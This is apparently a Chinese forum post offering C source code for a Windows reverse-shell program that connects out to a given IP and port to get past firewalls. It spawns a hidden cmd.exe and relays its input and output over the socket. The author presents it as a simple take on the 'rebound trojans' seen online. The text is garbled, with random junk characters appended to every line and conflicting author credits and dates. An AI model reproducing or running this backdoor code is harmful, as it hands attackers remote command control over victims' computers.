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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 5'JONw'\  
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/* ============================== P}] xz Vy  
Rebound port in Windows NT )20jZm*  
By wind,2006/7 n+C]&6-b  
===============================*/ 8 JOfx  
#include 'y(;:Kc  
#include ea"!:cL(g  
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#pragma comment(lib,"wsock32.lib") b51{sL  
hJr cy!P<a  
void OutputShell(); B0_[bQoc1  
SOCKET sClient; Ck71N3~W  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; s*"Yi~  
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void main(int argc,char **argv) 334UMH__  
{ y\=(;]S'  
WSADATA stWsaData; V'kCd4  
int nRet; D(EY"s37  
SOCKADDR_IN stSaiClient,stSaiServer; sFd"VRAV~E  
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if(argc != 3) vdwh59W  
{ {fwA=J9%KS  
printf("Useage:\n\rRebound DestIP DestPort\n"); {[r}&^K15  
return; zG\g{cB  
} 2~:jg1  
^Z?X\t  
WSAStartup(MAKEWORD(2,2),&stWsaData); v9<7=D&x  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); f L @rv  
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stSaiClient.sin_family = AF_INET; (7C&I- l  
stSaiClient.sin_port = htons(0); ZG=B'4W  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 'S_kD! BO  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) wv.FL$f[@  
{ udRum7XW 3  
printf("Bind Socket Failed!\n"); u/`jb2eEU:  
return; aNZJs<3;'D  
}  3kAmRU  
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stSaiServer.sin_family = AF_INET; m!{}Y]FZn  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); I)wjTTM5  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 5|&:l8=  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) *?;<buJb?  
{ 4WK@ap-~  
printf("Connect Error!"); BUH~aV  
return; KmuE#Ia  
} ~Wh} W((L  
OutputShell(); G~,K$z/-l  
} (~YFm"S  
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void OutputShell() R|7yhsJq,  
{ $ O1w 6\}_  
char szBuff[1024]; x?hdC)#DWI  
SECURITY_ATTRIBUTES stSecurityAttributes; Q.5C$I  
OSVERSIONINFO stOsversionInfo; h'{}eYb+   
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; +&LzLF.bK  
STARTUPINFO stStartupInfo; Va^AEuzF  
char *szShell; ]<9=%m  
PROCESS_INFORMATION stProcessInformation; VieX 5  
unsigned long lBytesRead; O>zPWVwa  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); F-!,U)  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); X!+#1NPM  
stSecurityAttributes.lpSecurityDescriptor = 0; NGl/F{<  
stSecurityAttributes.bInheritHandle = TRUE; TW 2OT }  
MA\^<x_?L}  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); '4gi*8Y  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); YkRv~bc1]  
}E=:k&IDPB  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); D`nW9i7  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Yg 8AMi  
stStartupInfo.wShowWindow = SW_HIDE; L nQm2uF  
stStartupInfo.hStdInput = hReadPipe; B{fPj9Y0  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; J(BtGGU'  
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GetVersionEx(&stOsversionInfo); A>;Q<8rh  
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switch(stOsversionInfo.dwPlatformId) ^i3~i?\,P  
{ K".\QF,:  
case 1: _dCsYI%  
szShell = "command.com"; n@pm5f  
break; zYf `o0U  
default: y`"b%P)+T  
szShell = "cmd.exe"; m'Jk!eo  
break; +xqPyR  
} +\SNaq~&  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); %9z N U  
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send(sClient,szMsg,77,0); mZ;W$y SO  
while(1) <8U qV.&  
{ VGbuEC[Y  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); %@IZ41<C  
if(lBytesRead) ;p~&G"-C`  
{ eySV -f{  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); DKV^c'  
send(sClient,szBuff,lBytesRead,0); $gi{)'z  
} v#iKa+tx  
else >|<8QomD  
{ 9>qc1z  
lBytesRead=recv(sClient,szBuff,1024,0); */gm! :Ym  
if(lBytesRead<=0) break; DA s&4Y`  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); /0(2PVf y  
} GO@pwq<  
} l~.}#$P]  
1jdv<\U   
return; pWo`iM& F  
}
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